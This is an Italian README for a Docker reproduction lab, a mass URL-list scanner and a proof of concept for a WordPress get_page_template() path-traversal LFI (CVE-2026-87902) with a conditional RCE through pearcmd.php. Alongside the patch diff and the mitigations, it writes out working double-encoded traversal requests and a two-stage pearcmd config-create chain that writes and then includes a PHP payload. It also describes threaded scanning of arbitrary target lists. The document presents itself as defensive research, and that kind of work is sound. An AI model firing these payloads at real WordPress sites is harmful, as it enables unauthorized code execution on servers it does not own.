Lab di riproduzione + scanner per liste di URL + PoC per CVE-2026-87902 / GHSA-7hp8-65ch-5whp — WordPress get_page_template() LFI non autenticato con RCE condizionale (WP 4.7.0-7.1.1, corretto in 7.1.2). Test autorizzati/difensivi.
get_page_template() di WordPress → RCE condizionaleLaboratorio di riproduzione + scanner per liste di URL + PoC, realizzato e validato end-to-end contro WordPress autentico 7.1.1 (vulnerabile) e 7.1.2 (corretto) sul laboratorio Docker.
include/require (path traversal → inclusione PHP locale)AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)page-* (es. — presente in Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney); (2) solo per la RCE: un leggibile e .page-templates/pearcmd.phpregister_argc_argv=Onwp-includes/template.php :: get_page_template() costruisce un candidato template dalla
query var pagename controllata dall'attaccante senza validate_file():
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // <-- no validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root
locate_template() esegue poi file_exists($theme_dir . '/' . $candidate) e include del file trovato.
Poiché il candidato è page-{...}.php, il payload deve proseguire una directory reale del tema che
inizia con page- (es. page-templates/) e poi risalire con ../ verso qualsiasi .php leggibile.
La doppia codifica è obbligatoria. get_query_var('pagename') è già decodificato una volta da PHP, quindi un
semplice ../ fa sì che urldecode($pagename) === $pagename e il branch vulnerabile viene saltato. Un
%252e%252e%252f doppiamente codificato sopravvive alla prima decodifica come %2e%2e%2f e viene trasformato in ../
solo dall'urldecode() aggiuntivo — che è il bug.
lab/)Release autentiche affiancate sull'host Docker, differenti solo per la correzione di sicurezza:
| Servizio | URL (solo loopback) | WordPress | Ruolo |
|---|---|---|---|
wp-vuln | http://127.0.0.1:8091 | 7.1.1 | vulnerabile |
wp-patched | http://127.0.0.1:8092 | 7.1.2 | controllo corretto |
db | — | MySQL 8.4 | condiviso (due database) |
Immagine base wordpress:php8.3-apache (che include già pearcmd.php e register_argc_argv=On),
con il core in bundle sostituito con gli autentici wordpress-7.1.1.zip / 7.1.2.zip. Twenty Fourteen è
attivato (reale page-templates/), e viene anche creato un fixture page-templates/ nel tema attivo.
ID pagina pubblicata = 2 (Sample Page).
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh # build + install both instances (idempotent)
./down.sh # tear down + remove volumes
Le porte si legano solo a 127.0.0.1 — l'istanza vulnerabile non è mai esposta in rete.
poc/cve-2026-87902-scan.py)Python 3, solo stdlib (nessun pip install). Accetta una lista di URL e segnala quali sono
vulnerabili. La scansione predefinita è non distruttiva: include il file core di sola lettura
wp-links-opml.php e cerca il documento OPML risultante — prova che l'inclusione arbitraria di .php
è avvenuta, senza scritture e senza modifiche di stato.
# single URL
./cve-2026-87902-scan.py http://target/
# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json
# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q
<generator> → wp-links-opml.php →
readme.html → asset /wp-includes/ ?ver=)./wp/v2/pages, fallback ?rest_route=, homepage
page-id-N, default page_id=2) — necessario affinché la richiesta risolva a una Page e get_page_template() venga eseguito.segment × depth (segment predefinito templates, profondità 4,3,5,6,7), invia
page_id=<id>&pagename=<double-encoded ../ → wp-links-opml> (POST, per eludere il redirect canonico) e
richiede un HTTP 200 che contenga <opml version="1.0"> + un marcatore secondario strutturale
(</opml> / <outline / <dateCreated>)..php garantito inesistente. Se l'OPML appare comunque, l'OPML è ambientale (proxy / cache / feed
app), non la nostra inclusione → declassato a POSSIBLY. Solo un hit il cui controllo è pulito è VULNERABLE.Robustezza: preserva i percorsi in sottodirectory (http://host/blog), gestisce gzip/deflate e charset anomali,
riprova una probe una volta in caso di errore di trasporto, scopre/valida gli id pagina (REST → ?rest_route= → homepage
→ default), impone un budget di tempo per target, e non dichiara mai NOT_VULNERABLE da una fonte di versione a bassa
confidenza (asset ?ver= / readme.html) — queste degradano a POSSIBLY.
| Verdetto | Significato |
|---|---|
VULNERABLE | oracolo OPML attivato — LFI confermato (definitivo) |
NOT_VULNERABLE | versione del branch corretto, o versione fuori da 4.7.0–7.1.1 |
POSSIBLY_VULNERABLE | versione vulnerabile/sconosciuta ma oracolo silente (probabilmente nessuna dir tema page-*, layout non standard, o nessun id pagina scopribile) — verificare manualmente |
NOT_WORDPRESS / ERROR | nessun indicatore WP / errore di trasporto |
Codice di uscita: 2 se almeno un VULNERABLE, 1 se almeno un POSSIBLY (e nessun VULNERABLE), altrimenti 0.
Flag utili: --segments, --depths, --method {POST,GET,both}, --page-id, --max-pageids,
--max-time (budget per target), --timeout, --threads, --proxy, --header, --insecure
(TLS off — solo dev), --json, --jsonl. Per un'installazione WordPress in sottodirectory, passare la base completa
(es. https://host/blog); per Bedrock/core in wp/ lo sweep prova anche target oracolo con prefisso wp/.
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2
Esegue la catena PEAR pearcmd.php: la query string separata da + trasporta argv config-create che scrive
un marker .php senza virgolette sotto /tmp; una seconda richiesta lo include. Stampa il marker eseguito +
php_uname() + uid. Scrive un file sul target → singolo target, richiede --i-have-authorization,
disattivato per default.
evidence/)| File | Cosa dimostra |
|---|---|
manual-validate.sh / ev-lfi.log | l'oracolo OPML si attiva su 7.1.1 (profondità 4, POST e GET), silente su 7.1.2; solo la profondità 4 funziona; la codifica singola fallisce |
rce-validate.sh / ev-rce.log | RCE PEAR completa su 7.1.1 (uid=33 come www-data, profondità 7); il corretto non scrive file, non esegue nulla |
ev-scan-table.log / ev-scan-results.json | scanner su {vuln, patched, non-WP, dead}: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR |
Forme di richiesta provate:
LFI (detection, non-destructive):
POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
-> 200 with <opml version="1.0"> in the body (depth 4 = webroot on /var/www/html)
RCE (conditional; register_argc_argv=On + readable pearcmd.php):
Stage 1 POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
Stage 2 POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
-> body contains the executed marker + php_uname() + uid=33
register_argc_argv=Off per la SAPI web e rimuovere/negare pearcmd.php;
questo elimina l'escalation RCE anche se l'LFI è raggiungibile.pagename contenente ..; la co-occorrenza di page_id + un pagename che inizia con templates%252f /
contiene %252e%252e sulla root del sito o su /index.php è un segnale di exploit quasi certo.Solo test di sicurezza autorizzati, formazione e ricerca difensiva.